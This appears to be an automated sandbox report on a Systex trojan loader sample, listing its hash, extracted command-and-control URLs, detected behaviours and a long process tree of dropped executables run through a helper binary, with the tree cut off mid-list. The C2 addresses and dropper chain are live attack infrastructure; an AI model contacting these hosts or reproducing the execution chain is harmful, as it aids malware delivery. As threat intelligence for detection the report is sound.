Analysis
- max time kernel
148s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 11:10
General
- Target 2026-04-17_d3b83a5371aff0b19a125f1ed8d16afa_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
- Size 291KB
- Sample260417-m91yhae16w
- SHA256 af2d288b59b0a390d98bc08b547d1bb672a1ef42d39cd2a5e8538c6b38442c97
Malware Config
Extracted
-
systex
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- UPX dump on OEP (original entry point) 64 IoCs
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 48 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-17_d3b83a5371aff0b19a125f1ed8d16afa_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-17_d3b83a5371aff0b19a125f1ed8d16afa_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"3⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffff0e7c188,0x7ffff0e7c194,0x7ffff0e7c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1812,i,9685032230119601280,16989130502986249971,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,7164108243610642903,4994138497029412189,262144 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2464,i,12544889615446827650,4556195296867223880,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=2480 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,8650169570271342120,4528407191553072259,2097152 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3476,i,1717302201123397838,2990029826909743844,2097152 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,882925606244228933,6250422712838292936,2097152 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5056,i,9982353667524643004,2753427180973526713,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5052,i,914575049718745916,3737076342935183636,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,16690895861571377464,12739917764232919823,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,16690895861571377464,12739917764232919823,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,11050398162886592885,7736787792312267231,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:144⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11445⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5980,i,1749737641873476052,16640055838446910146,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5976,i,695794668812529245,2382053382972284649,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,15838495446530406745,13149183608359345339,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,284235270801592640,16685725039212505745,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,7233554479714305389,892986049712564848,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5300,i,12725111863909929914,9880083519750011462,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,17494910176037684327,2987097987312858812,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,10289459653960348585,18318628643750612131,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5152,i,4939280801877173035,11438797348391348079,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2156,i,15558346664099755912,1564561333456741908,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6820,i,4017092192187564556,9902796855216991560,262144 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,10617346594102004910,8348914423266489639,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3276,i,15457254659249451062,7286181716955727339,524288 --field-trial-handle=2204,i,9925531856134650953,7980752540747037715,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:144⤵
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wrpjhbzurm.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\wrpjhbzurm.exeC:\Temp\wrpjhbzurm.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wrpjhbzurm.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wrpjhbzurm.exeC:\Temp\i_wrpjhbzurm.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecwuomgezt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ecwuomgezt.exeC:\Temp\ecwuomgezt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ecwuomgezt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomgezt.exeC:\Temp\i_ecwuomgezt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\omgeywqojg.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\omgeywqojg.exeC:\Temp\omgeywqojg.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_omgeywqojg.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_omgeywqojg.exeC:\Temp\i_omgeywqojg.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\geywqoigay.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\geywqoigay.exeC:\Temp\geywqoigay.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_geywqoigay.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_geywqoigay.exeC:\Temp\i_geywqoigay.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nlfdyvqnig.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nlfdyvqnig.exeC:\Temp\nlfdyvqnig.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nlfdyvqnig.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nlfdyvqnig.exeC:\Temp\i_nlfdyvqnig.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\axsqkidavs.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\axsqkidavs.exeC:\Temp\axsqkidavs.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_axsqkidavs.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_axsqkidavs.exeC:\Temp\i_axsqkidavs.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\causmkfcxu.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\causmkfcxu.exeC:\Temp\causmkfcxu.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_causmkfcxu.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_causmkfcxu.exeC:\Temp\i_causmkfcxu.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zxsmkfcxvp.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\zxsmkfcxvp.exeC:\Temp\zxsmkfcxvp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zxsmkfcxvp.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zxsmkfcxvp.exeC:\Temp\i_zxsmkfcxvp.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmkecwrpjh.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rmkecwrpjh.exeC:\Temp\rmkecwrpjh.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmkecwrpjh.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rmkecwrpjh.exeC:\Temp\i_rmkecwrpjh.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bwuomhezwr.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bwuomhezwr.exeC:\Temp\bwuomhezwr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bwuomhezwr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bwuomhezwr.exeC:\Temp\i_bwuomhezwr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bztrljdywq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bztrljdywq.exeC:\Temp\bztrljdywq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bztrljdywq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bztrljdywq.exeC:\Temp\i_bztrljdywq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqojgbztr.exe ups_run2⤵
-
C:\Temp\ywqojgbztr.exeC:\Temp\ywqojgbztr.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqojgbztr.exe ups_ins2⤵
-
C:\Temp\i_ywqojgbztr.exeC:\Temp\i_ywqojgbztr.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbvtnljdbv.exe ups_run2⤵
-
C:\Temp\dbvtnljdbv.exeC:\Temp\dbvtnljdbv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbvtnljdbv.exe ups_ins2⤵
-
C:\Temp\i_dbvtnljdbv.exeC:\Temp\i_dbvtnljdbv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\sqkidavtnl.exe ups_run2⤵
-
C:\Temp\sqkidavtnl.exeC:\Temp\sqkidavtnl.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_sqkidavtnl.exe ups_ins2⤵
-
C:\Temp\i_sqkidavtnl.exeC:\Temp\i_sqkidavtnl.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fdxvpnhfax.exe ups_run2⤵
-
C:\Temp\fdxvpnhfax.exeC:\Temp\fdxvpnhfax.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fdxvpnhfax.exe ups_ins2⤵
-
C:\Temp\i_fdxvpnhfax.exeC:\Temp\i_fdxvpnhfax.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zxspkicaus.exe ups_run2⤵
-
C:\Temp\zxspkicaus.exeC:\Temp\zxspkicaus.exe ups_run3⤵
